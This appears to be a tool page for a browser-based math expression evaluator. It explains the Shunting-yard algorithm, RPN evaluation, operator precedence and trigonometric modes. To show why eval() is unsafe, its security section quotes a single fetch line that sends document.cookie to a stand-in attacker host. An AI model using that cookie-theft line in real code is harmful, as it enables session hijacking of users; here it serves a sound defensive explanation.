Math Expression Evaluator
Safely evaluate math expressions using the Shunting-yard algorithm — no eval(). Supports functions, constants, and step-by-step tracing.
| Syntax | Description | Example | Result |
|---|---|---|---|
+ - * / | Basic arithmetic | 10 / 4 | 2.5 |
^ | Exponentiation | 2^10 | 1024 |
% | Modulo (remainder) | 17 % 5 | 2 |
sqrt(x) | Square root | sqrt(225) | 15 |
abs(x) | Absolute value | abs(-7) | 7 |
sin(x) | Sine (DEG or RAD) | sin(90) | 1 |
cos(x) | Cosine (DEG or RAD) | cos(0) | 1 |
tan(x) | Tangent (DEG or RAD) | tan(45) | 1 |
asin(x) | Arcsine → degrees/rad | asin(1) | 90 |
acos(x) | Arccosine → degrees/rad | acos(0) | 90 |
atan(x) | Arctangent → degrees/rad | atan(1) | 45 |
log(x) | Logarithm base 10 | log(1000) | 3 |
ln(x) | Natural logarithm | ln(e) | 1 |
exp(x) | e raised to power x | exp(1) | 2.718… |
floor(x) | Round down to integer | floor(3.9) | 3 |
ceil(x) | Round up to integer | ceil(3.1) | 4 |
round(x) | Round to nearest integer | round(3.5) | 4 |
sign(x) | Sign of number (-1/0/1) | sign(-99) | -1 |
pi | π ≈ 3.14159… | 2 * pi * 5 | 31.416… |
e | Euler's number ≈ 2.718… | e^2 | 7.389… |
How to Use the Math Expression Evaluator
- Type an expression in the input field, for example
sqrt(144) + 2^3orsin(45) * cos(45). - Press Enter or click Evaluate — the result appears immediately, along with a token breakdown and step-by-step evaluation trace.
- Toggle DEG/RAD using the chip button to switch trigonometric functions between degree mode (default) and radian mode.
- View History to see all past calculations. Click any entry to reload it into the input.
- Check Reference for a full list of supported functions and constants with examples.
What This Tool Does
The Math Expression Evaluator parses and computes mathematical expressions entirely in your browser using the Shunting-yard algorithm invented by Edsger Dijkstra. Unlike most online calculators that simply call JavaScript's eval() function — which executes arbitrary code and is a significant security risk — this tool tokenises the input, converts it to Reverse Polish Notation (RPN), and evaluates the RPN stack using safe arithmetic only.
What Is the Shunting-yard Algorithm?
The Shunting-yard algorithm processes an infix expression (e.g. 3 + 4 * 2) token by token, using an operator stack and an output queue to produce an equivalent postfix (RPN) expression. The name "shunting yard" is a railway analogy: the algorithm shunts tokens like a train-yard worker shunts rail cars between tracks. The key insight is that operator precedence and parentheses are handled entirely during the shunting phase, making the evaluation phase trivial — just push numbers onto a stack, and when you hit an operator, pop operands and push the result.
Why Avoid eval()?
JavaScript's eval() function executes any string as JavaScript code. This means that if user input contains fetch('https://evil.example/steal?data=' + document.cookie), it will run. Most simple online calculators use eval() or the Function() constructor because they are easy to implement, but neither is safe for untrusted input. The Shunting-yard approach only ever performs numeric operations, making it completely immune to code injection attacks.
Supported Operators and Precedence
Operators are evaluated in this order (highest to lowest precedence): functions like sqrt and sin are applied first, then the exponentiation operator ^ (right-associative), then multiplication *, division /, and modulo %, and finally addition + and subtraction -. Parentheses override all precedence rules. You can nest parentheses as deeply as needed: ((2 + 3) * (4 - 1)) ^ 2 evaluates correctly.
Degree vs. Radian Mode
Trigonometric functions — sin, cos, tan, asin, acos, atan — can operate in either degree mode or radian mode. In degree mode (default), sin(90) returns exactly 1, cos(180) returns -1, and tan(45) returns 1. In radian mode, you pass values like sin(pi/2) or cos(pi). Most students and engineers find degree mode more natural for quick calculations, while mathematicians and programmers often prefer radians. Switch modes with the DEG/RAD toggle at any time — the current expression is immediately re-evaluated.
Reading the Step-by-Step Trace
After evaluating an expression, the tool shows three sections. Tokens shows how the input was broken into individual elements: numbers (green), operators (yellow), functions (purple), and parentheses (grey). RPN shows the Reverse Polish Notation form of your expression after the Shunting-yard algorithm. Evaluation Steps shows the stack state at each step of the RPN evaluation — each row shows what action was taken (push a number, or apply an operator to the top two stack elements) and what the stack contained after that step. This makes the algorithm transparent and educational.
Practical Use Cases
This evaluator is useful for developers who need a quick calculation without leaving the browser, for students learning about expression parsing and compiler design, for verifying formulas before coding them into applications, and for educators who want to show how computers evaluate mathematical notation. The history feature lets you build up a series of related calculations and refer back to earlier results. The reference panel provides a complete cheat sheet of every supported function with example inputs and outputs.